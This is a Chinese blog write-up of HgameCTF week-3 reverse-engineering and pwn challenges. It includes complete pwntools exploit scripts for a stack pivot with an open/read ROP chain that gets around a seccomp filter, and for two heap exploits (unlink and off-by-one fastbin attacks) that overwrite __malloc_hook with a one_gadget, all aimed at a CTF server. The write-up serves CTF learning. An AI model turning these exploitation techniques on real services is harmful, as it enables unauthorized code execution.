当前位置: 首页 > 技术干货 > 一次受益颇多的CTF(RE/PWN)

一次受益颇多的CTF(RE/PWN)

发表于:2020-02-18 11:52 作者: Nepents 阅读数(1331人)

前言

这个是Hgame_CTF第三周的题目,难度一周比一周大,而且还涉及了多方面的知识,一整期做下来对或许会有一个比较大的提升。其中有一道逆向,是通过监控本地端口来获取输入的,第一次接触这种输入模式,故借此机会记录一下。

上两周的题目回顾:HgameCTF(week1)-RE,PWN题解析

记一次春节CTF实战练习(RE/PWN)

##pwn ###ROP_LEVEL2

程序init禁用了59号中断,所以不能getshell

  1. __int64 init()
  2. {
  3. __int64 v0; // ST08_8
  4. v0 = seccomp_init(2147418112LL);
  5. seccomp_rule_add(v0, 0LL, 59LL, 0LL);
  6. seccomp_load(v0);
  7. return 0LL;
  8. }

main函数存在栈溢出,但是最多只能覆盖到EBP和返回地址。前边会读取256个字节进入buf全局变量。可以通过栈迁移把栈区迁移到buf中,然后在buf中构造ROP,调用OPEN函数打开flag然后跳到0x040098F地址读取并输出flag。

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from time import *
  5. from LibcSearcher import *
  6. context.log_level="debug"
  7. EXEC_FILE = './ROP'
  8. io = remote('47.103.214.163',20300)
  9. #io = process('./ROP')
  10. elf = ELF(EXEC_FILE)
  11. #padding = 88
  12. read_plt = elf.plt['read']
  13. open_plt = elf.plt['open']
  14. io.recvuntil('?')
  15. #payload = 'flag\x00\x00\x00\x00'#
  16. payload = p64(0x060119F)
  17. payload += p64(0x0400a43)#pop rdi
  18. payload += p64(0x6010e0)#flag
  19. payload += p64(0x0400a41)#pop rsi
  20. payload += p64(0)
  21. payload += p64(0)#pading
  22. payload += p64(open_plt)
  23. payload += p64(0x040098F)#
  24. payload += 'flag\x00\x00\x00\x00'#
  25. io.sendline(payload)#buf 0x006010A0
  26. payload = 'a'*80
  27. payload += p64(0x06010A0)#buf
  28. payload += p64(0x4009D5)
  29. io.sendline(payload)
  30. print io.recv()
  31. io.interactive()

###Annevi_Note

查看edit函数,每次会固定读入256个字节。而每次只能申请小于143字节的堆块,照成堆溢出。

  1. __int64 edit()
  2. {
  3. int v1; // [rsp+Ch] [rbp-4h]
  4. puts("index?");
  5. v1 = readi();
  6. if ( list[v1] )
  7. {
  8. printf("content:");
  9. read_n((__int64)list[v1], 256);
  10. puts("done!");
  11. }
  12. else
  13. {
  14. puts("Invalid index!");
  15. }
  16. return 0LL;
  17. }

check一下文件查看开了哪些保护

Annevi1.png

可以先申请usorted bin然后释放再申请回来调用show函数输出unsorted bin addr,先减去88再减去mainarenaoffset求出libc基地址,不同版本的libc对应着不同版本的mainarenaoffset。然后使用unlink使得能改变list中的元素,写入malloc hook地址,然后改变malloc hook为one gadget。

exp

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from time import *
  5. from LibcSearcher import *
  6. context.log_level="debug"
  7. #EXEC_FILE = "./ROP_LEV"
  8. REMOTE_LIBC = "./libc-2.23.so"
  9. #main_offset = 3951392
  10. io = remote('47.103.214.163',20301)
  11. #io = process('./Annevi')
  12. #elf = ELF(EXEC_FILE)
  13. libc = ELF(REMOTE_LIBC)
  14. def add(size,content):
  15. io.sendlineafter(':','1')
  16. io.sendlineafter('?',str(size))
  17. io.sendlineafter(':',content)
  18. def edit(idx,content):
  19. io.sendlineafter(':','4')
  20. io.sendlineafter('?',str(idx))
  21. io.sendlineafter(':',content)
  22. def delete(idx):
  23. io.sendlineafter(':','2')
  24. io.sendlineafter('?',str(idx))
  25. def show(idx):
  26. io.sendlineafter(':','3')
  27. io.sendlineafter('?',str(idx))
  28. add(150,'a')
  29. add(150,'b')
  30. delete(0)
  31. add(150,'a'*7)
  32. show(0)#求出libc基地址
  33. io.recvuntil('a'*7)
  34. unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
  35. print hex(unsorted_bin)
  36. libc_addr = unsorted_bin - 3951392
  37. delete(0)
  38. delete(1)
  39. malloc_hook = libc_addr + libc.sym['__malloc_hook']
  40. x = 0x0602040
  41. fd = x-0x18
  42. bk = x-0x10
  43. payload = p64(0)
  44. payload += p64(0x70)
  45. payload += p64(fd)+p64(bk)
  46. payload += 'a'*(0x70-(8*4))+p64(0x70)
  47. payload += p64(0)*3+p64(0x90)+p64(0xa0)
  48. add(0x90,'a')#0
  49. add(0x90,'b')#1
  50. add(0x90,'c')
  51. edit(0,payload)
  52. delete(1)
  53. payload = p64(0)*3
  54. payload += p64(malloc_hook)
  55. edit(0,payload)
  56. edit(0,p64(libc_addr+0xf1147))
  57. io.sendlineafter(':','1')
  58. io.sendlineafter('?',str(150))
  59. io.interactive()

###E99p1ant_Note

查看read_n函数,存在off-by-one。能修溢出修改一个字节。

  1. __int64 __fastcall read_n(__int64 a1, int a2)
  2. {
  3. int i; // [rsp+1Ch] [rbp-4h]
  4. for ( i = 0; i <= a2; ++i )
  5. {
  6. read(0, (void *)(i + a1), 1uLL);
  7. if ( *(_BYTE *)(i + a1) == 10 )
  8. break;
  9. }
  10. return 0LL;
  11. }

可以按照上面一道题的方法,先泄露出libc基地址。然后利用off-by-one配合unsorted bin attack,使得链表中两个元素指向同一块内存,然后利用fastbin attack修改malloc hook变成one gadget。

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. from time import *
  5. from LibcSearcher import *
  6. context.log_level="debug"
  7. REMOTE_LIBC = "./libc-2.23.so"
  8. #main_offset = 3951392
  9. io = remote('47.103.214.163',20302)
  10. #io = process('./E99')
  11. #elf = ELF(EXEC_FILE)
  12. libc = ELF(REMOTE_LIBC)
  13. def add(size,content):
  14. io.sendlineafter(':','1')
  15. io.sendlineafter('?',str(size))
  16. io.sendlineafter(':',content)
  17. def edit(idx,content):
  18. io.sendlineafter(':','4')
  19. io.sendlineafter('?',str(idx))
  20. io.sendlineafter(':',content)
  21. def edits(idx,content):
  22. io.sendlineafter(':','4')
  23. io.sendlineafter('?',str(idx))
  24. io.recvuntil(':')
  25. io.send(content)
  26. #io.sendlineafter(':',content)
  27. def delete(idx):
  28. io.sendlineafter(':','2')
  29. io.sendlineafter('?',str(idx))
  30. def show(idx):
  31. io.sendlineafter(':','3')
  32. io.sendlineafter('?',str(idx))
  33. add(0x88,'a')
  34. add(0x88,'b')
  35. delete(0)
  36. add(0x88,'a'*7)
  37. show(0)#求出libc基地址
  38. io.recvuntil('a'*7)
  39. unsorted_bin = u64(io.recvn(7)[1:].ljust(8,'\x00')) - 88
  40. print hex(unsorted_bin)
  41. libc_addr = unsorted_bin - 3951392
  42. delete(0)
  43. delete(1)
  44. add(0x88,'a')#0
  45. add(0x88,'b')#1
  46. add(0x88,'c')#2
  47. add(0x88,'d')#3
  48. add(0x88,'e')#4
  49. add(0x88,'f')#5
  50. delete(0)
  51. edits(3,'a'*0x80+p64(0x240)+p8(0x90))
  52. delete(4)
  53. add(0x88,'a')#0
  54. add(0x68,'a')#4
  55. add(0x10,'a')#6
  56. add(0x68,'a')#7
  57. add(0x10,'a')#8
  58. delete(4)
  59. delete(7)
  60. malloc_hook = libc_addr + libc.sym['__malloc_hook']
  61. edit(1,p64(malloc_hook-35)*2)
  62. add(0x68,'a')#4
  63. add(0x68,'b')#7
  64. print hex(libc_addr+0xf24cb)
  65. raw_input()
  66. add(0x68,'a'*(19-8)+p64(libc_addr+0xf1147)+p64(libc_addr+0xf1147))
  67. io.sendlineafter(':','1')
  68. io.sendlineafter('?',str(100))
  69. io.interactive()

##re

###oooollvm

程序加了ollvm混淆,或许可以用deflat.py去除,但是该程序逻辑比较简单,虽然加了混淆,但还是可以看清楚逻辑,所以可以带混淆逆。其实如果实在真的解不了混淆,可以凭经验下断点,或者在全部的真实块下断点动态调试也是可以的,不过比较麻烦。

v12为计数器,table1和flag经过计算和table2对比。

可以写脚本。

  1. table_2 = [0x77,0x25,0x71,0x3F,0xF1,0x46,0xAB,0x4F,0x5F,0x7E,0x87,0x89,0x3E,0x89,0x24,0x17,0x5C,0x19,0xA1,0x36,0xD2,0x3C,0x72,0x51,0x21,0x9C,0xB7,0xA5,0xD0,0x9A,0x1A,0x77,0x06,0x3A]
  2. table_1 = [0x1F,0x41,0x0E,0x4F,0x90,0x38,0x95,0x1C,0x2B,0x1F,0xC0,0xCB,0x03,0xAF,0x6D,0x45,0x5C,0x63,0xBF,0x67,0x83,0x4F,0x16,0x1C,0x3C,0xAF,0xAF,0x75,0x9D,0xBA,0x2C,0x1C,0x43,0x26]
  3. flag = ""
  4. for i in range(34):
  5. for q in range(20,127):
  6. if (table_2[i] == (~q & (table_1[i] + i) | ~(table_1[i] + i) & q)):
  7. flag += chr(q)
  8. print flag

###Go_master

程序为Go写的linux下的程序。符号表没去,逆起来比较简单。

输入判断是否为9位。

  1. fmt_Fscanln(
  2. (__int64)a1,
  3. a2,
  4. (__int64)&go_itab__os_File_io_Reader,
  5. (__int64)&v82,
  6. v9,
  7. v10,
  8. (__int64)&go_itab__os_File_io_Reader,
  9. os_Stdin);
  10. if ( v81[1] != 9 )// flag长度为9
  11. {
  12. *(_QWORD *)&v88 = &unk_517D80;
  13. *((_QWORD *)&v88 + 1) = &off_573EE0;
  14. fmt_Fprintln(
  15. (__int64)a1,
  16. a2,
  17. (__int64)&go_itab__os_File_io_Writer,
  18. (__int64)&v88,
  19. v11,
  20. v12,
  21. (__int64)&go_itab__os_File_io_Writer,
  22. os_Stdout);
  23. os_Exit((__int64)a1);
  24. }

然后进入sha1加密后对比。由于没有别的信息,有点难猜测9位是啥。

  1. v80 = v62;
  2. *(_QWORD *)v62 = 0xEFCDAB8967452301LL;
  3. *(_QWORD *)(v62 + 8) = 0x1032547698BADCFELL;
  4. *(_DWORD *)(v62 + 16) = 0xC3D2E1F0;
  5. *(_OWORD *)(v62 + 88) = 0LL;
  6. v13 = *v81;
  7. runtime_stringtoslicebyte((__int64)a1, a2, v81[1], (__int64)v81, v14, v15);
  8. *(_QWORD *)&v16 = v80;
  9. *((_QWORD *)&v16 + 1) = 1LL;
  10. crypto_sha1___digest__Write((__int64)a1, a2, 1LL, 1LL, v17, v16);
  11. v64 = 0LL;
  12. crypto_sha1___digest__Sum((__int64)a1, a2, v18, v19, v20, v21, v80);
  13. v76 = 1LL;
  14. runtime_newobject();
  15. v79 = 0LL;
  16. unk_0 = 0x532A878B04894333LL;
  17. unk_4 = xmmword_5514B0;
  18. runtime_convTslice((__int64)a1, a2, v22);
  19. v78 = 0LL >> 63;
  20. runtime_convTslice((__int64)a1, a2, v23);
  21. *(_QWORD *)&v64 = &unk_515C00;
  22. reflect_DeepEqual((__int64)a1, a2, v24, v78, v25);
  23. v28 = v81;
  24. v29 = v81[1];
  25. v68 = v81[1];
  26. v30 = *v81;
  27. v77 = *v81;
  28. cout = 0LL;

后来发现这9位和:2333拼接,进入net_Listen函数。

  1. flag___FlagSet__Parse((__int64)a1, a2, qword_647088, os_Args, *(__int128 *)&v35);
  2. runtime_concatstring3(
  3. (__int64)a1,
  4. a2,
  5. v72[1],
  6. v74[1],
  7. v37,
  8. v38,
  9. 0,
  10. *v74,
  11. v74[1],
  12. (unsigned __int64)":<=?CLMNPSUZ[\n\t",
  13. 1,
  14. *v72,
  15. v72[1]);
  16. *(_QWORD *)&v39 = &unk_54E794;
  17. *((_QWORD *)&v39 + 1) = 3LL;
  18. net_Listen((__int64)a1, a2, (__int64)&unk_54E794, v66, v40, v41, v39, v66, v67);

这9位可能是个ip地址,2333是端口。猜测127.0.0.1和localhost,发现是localhost。然后运行net_Listen函数监听本地端口2333数据。可以使用telnet往本机端口发送数据。

go1.png

当接收打数据后,程序会进入main_handleRequest函数,使用des加密监听到的数据对比,密钥为localhost。

go2.png

直接解密得到flag

go3.png

###hidden

先通过ida的交叉调用定位到sub_1400012E0函数。函数先读入flag,判断是不是40字节。

  1. __int64 sub_1400012E0()
  2. {
  3. __int64 v0; // rax
  4. char v2; // [rsp+28h] [rbp-30h]
  5. sub_140001C10(&v2);
  6. sub_1400015D0(std::cin, &v2);
  7. if ( sub_1400024A0() == 40 )
  8. {
  9. v0 = sub_1400023D0((__int64)&v2);
  10. sub_140001270(v0);
  11. }
  12. sub_140001E30((__int64)&v2);
  13. return 0i64;
  14. }

进入到sub_140001270函数

  1. __int64 __fastcall sub_140001270(__int64 a1)
  2. {
  3. __int64 v1; // rdi
  4. int v2; // ebx
  5. int v3; // eax
  6. __int64 result; // rax
  7. v1 = a1;
  8. v2 = sub_1400010C0(0, (unsigned __int8 *)a1, 0x14ui64);
  9. v3 = sub_1400010C0(0, (unsigned __int8 *)(v1 + 20), 0x14ui64);
  10. if ( v2 != 0x18257154 || v3 != 2058429201 )
  11. result = sub_140001030(0);
  12. else
  13. result = sub_140001030(1);
  14. return result;
  15. }

flag分成两部分进入sub_1400010C0函数。

  1. __int64 __fastcall sub_1400010C0(int a1, unsigned __int8 *a2, unsigned __int64 a3)
  2. {
  3. int v3; // ebx
  4. unsigned __int64 v4; // rbp
  5. unsigned __int8 *v5; // r14
  6. unsigned int v6; // er12
  7. unsigned int *v7; // r15
  8. signed int v8; // edi
  9. unsigned int *v9; // rsi
  10. unsigned int v10; // edx
  11. unsigned int v11; // ecx
  12. unsigned int v12; // edx
  13. unsigned int v13; // ecx
  14. unsigned int v14; // edx
  15. unsigned int v15; // ecx
  16. unsigned int v16; // edx
  17. unsigned int v17; // ebx
  18. unsigned __int8 *v18; // rdx
  19. __int64 v19; // rax
  20. unsigned int v21; // [rsp+50h] [rbp+8h]
  21. v3 = a1;
  22. v4 = a3;
  23. v5 = a2;
  24. v6 = v21;
  25. v7 = (unsigned int *)VirtualAlloc(0i64, 0x4000ui64, 0x3000u, 0x40u);
  26. v8 = 0;
  27. v9 = v7;
  28. do
  29. {
  30. if ( v8 >= 256 )
  31. {
  32. *v9 = v6 ^ *(unsigned int *)((char *)v9 + &unk_140007000 - (_UNKNOWN *)v7 - 1024);
  33. if ( v8 == 4095 )
  34. sub_140001010(v5, sub_140001030, v7 + 256, sub_1400010A0);
  35. }
  36. else
  37. {
  38. v10 = ((unsigned int)v8 >> 1) ^ 0xEDB88320;
  39. if ( !(v8 & 1) )
  40. v10 = (unsigned int)v8 >> 1;
  41. v11 = (v10 >> 1) ^ 0xEDB88320;
  42. if ( !(v10 & 1) )
  43. v11 = v10 >> 1;
  44. v12 = (v11 >> 1) ^ 0xEDB88320;
  45. if ( !(v11 & 1) )
  46. v12 = v11 >> 1;
  47. v13 = (v12 >> 1) ^ 0xEDB88320;
  48. if ( !(v12 & 1) )
  49. v13 = v12 >> 1;
  50. v14 = (v13 >> 1) ^ 0xEDB88320;
  51. if ( !(v13 & 1) )
  52. v14 = v13 >> 1;
  53. v15 = (v14 >> 1) ^ 0xEDB88320;
  54. if ( !(v14 & 1) )
  55. v15 = v14 >> 1;
  56. v16 = (v15 >> 1) ^ 0xEDB88320;
  57. if ( !(v15 & 1) )
  58. v16 = v15 >> 1;
  59. v6 = (v16 >> 1) ^ 0xEDB88320;
  60. if ( !(v16 & 1) )
  61. v6 = v16 >> 1;
  62. *v9 = v6;
  63. }
  64. ++v8;
  65. ++v9;
  66. }
  67. while ( v8 < 4096 );
  68. v17 = ~v3;
  69. v18 = v5;
  70. if ( v5 > &v5[v4] )
  71. v4 = 0i64;
  72. if ( v4 )
  73. {
  74. do
  75. {
  76. v19 = *v18++;
  77. v17 = (v17 >> 8) ^ v7[v19 ^ (unsigned __int8)v17];
  78. }
  79. while ( v18 - v5 < v4 );
  80. }
  81. return ~v17;
  82. }

看算法生成了表,很像是CRC32算法。 但是会进入sub_140001010函数。

hidden1.png

里边call r8,并且还会调用一个可以输出正确信息的函数。并且这个函数结束之后,会运行int指令。题目名叫hidden,或许真正有用的信息就隐藏在里边。可以动态调试一下到底调用了哪些函数。

  1. __int64 __fastcall sub_283C8F00400(__int64 a1, __int64 (__fastcall *a2)(_QWORD))
  2. {
  3. signed int j; // [rsp+20h] [rbp-78h]
  4. signed int i; // [rsp+24h] [rbp-74h]
  5. signed int l; // [rsp+28h] [rbp-70h]
  6. signed int k; // [rsp+2Ch] [rbp-6Ch]
  7. unsigned int v7; // [rsp+30h] [rbp-68h]
  8. char v8[38]; // [rsp+38h] [rbp-60h]
  9. char v9; // [rsp+5Eh] [rbp-3Ah]
  10. char *v10; // [rsp+60h] [rbp-38h]
  11. __int64 v11; // [rsp+68h] [rbp-30h]
  12. __int64 v12; // [rsp+70h] [rbp-28h]
  13. __int64 v13; // [rsp+78h] [rbp-20h]
  14. __int64 v14; // [rsp+80h] [rbp-18h]
  15. __int64 v15; // [rsp+88h] [rbp-10h]
  16. for ( i = 0; i < 40; ++i )
  17. v8[i] = *(_BYTE *)(a1 + i);
  18. v10 = &v9;
  19. for ( j = 0; j < 19; ++j )
  20. {
  21. for ( k = 0; k < 2; ++k )
  22. {
  23. v8[j] ^= v8[j + 19];
  24. v8[j] += v10[k];
  25. v8[j + 19] -= 103;
  26. v8[j + 19] ^= v8[j];
  27. }
  28. }
  29. v7 = 1;
  30. for ( l = 0; l < 40; ++l )
  31. {
  32. v11 = 8896099409227384902i64;
  33. v12 = 5221214014029134222i64;
  34. v13 = 5439652918615309179i64;
  35. v14 = -9114877380574607267i64;
  36. v15 = 9035724225678832282i64;
  37. if ( v8[l] != *((char *)&v11 + l) )
  38. {
  39. v7 = 0;
  40. return a2(v7);
  41. }
  42. }
  43. return a2(v7);
  44. }

这估计就是真正处理flag的函数了,a2会通过判断传进去的参数输出正确或者失败。可以写脚本。

  1. flag = [0x46,0x88,0x8F,0x75,0x47,0x4B,0x75,0x7B,0x8E,0x79,0x7F,0x8A,0x7B,0x7A,0x75,0x48,0x7B,0x7B,0x7B,0x4B,0x82,0x87,0x7D,0x4B,0x5D,0x88,0x9B,0xA7,0x50,0x73,0x81,0x81,0x9A,0x72,0xFA,0x57,0x4F,0x57,0x65,0x7D]
  2. for i in range(18,-1,-1):
  3. for q in range(1,-1,-1):
  4. flag[i+19] = (flag[i+19]^flag[i])&0xff
  5. flag[i+19] = (flag[i+19]+103)&0xff
  6. flag[i] = (flag[i]-flag[(q+38)])&0xff
  7. flag[i] = (flag[i]^flag[i+19])&0xff
  8. flags = ""
  9. for i in flag:
  10. flags+=chr(i)
  11. print flags

如果想更多系统的学习CTF,可点击链接进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

ctf.png